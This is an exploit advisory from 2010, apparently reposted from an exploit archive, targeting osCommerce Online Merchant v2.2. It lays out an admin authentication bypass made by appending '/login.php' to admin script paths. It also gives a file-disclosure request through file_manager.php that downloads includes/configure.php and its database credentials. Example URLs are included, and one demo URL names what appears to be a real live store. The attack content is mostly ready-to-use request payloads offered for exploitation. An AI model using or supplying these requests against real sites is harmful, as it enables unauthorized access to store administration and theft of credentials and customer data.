Home / os / win7

Oscommerce Online Merchant v2.2 File Disclosure / Admin ByPa

Posted on 30 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Oscommerce Online Merchant v2.2 File Disclosure / Admin ByPass</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
Oscommerce Online Merchant v2.2 File Disclosure / Admin ByPass
==============================================================


Author : Flyff666
Date : May, 30, 2010
Location : Tangerang, Indonesia
Time Zone : GMT +7:00
Software : OsCommerce Online Merchant v2.2
Tested on : All OS
--------------------------------------------
Email : Dream_Theatre@rocketmail.com
gReets : Mywisdom(abang.. wkkwkwk), Kiddies, Chaer, Petimati, c4uR
WhiteHat, Cruz3n, Gunslinger, v3n0m, z0mb13, Bumble_be
Spykit, BobyHikaru, Fribo. all member.
Site : Http://www.Devilzc0de.org/forum/
Forum : Http://Indonesianhacker.or.id/
--------------------------------------------
 
# ByPass Page Admin :
 
You can use this Trick if admin folder not protected by .htaccess
 
if you Want to explore admin page without login. You can use /login.php behind the name of the file
 
Example :
 
http://[site]/admin/backup.php/login.php
 
or
 
http://[site]/admin/file_manager.php/login.php
 
Demo :
 
http://server/store/admin/file_manager.php/login.php
 
You can See all file in Directory Oscommerce.. haha ;)
 
and you can download all file with tRick above
 
 
# File Disclosure :
 
in : admin/file_manager.php/login.php?action=download&amp;filename=
 
Exploit : admin/file_manager.php/login.php?action=download&amp;filename=/includes/configure.php
 
Example : http://[site]/[path]/admin/file_manager.php/login.php?action=download&amp;filename=/includes/configure.php
 
Demo : http://thethirdeye.co.in/store/admin/file_manager.php/login.php?action=download&amp;filename=/includes/configure.php


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-30]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :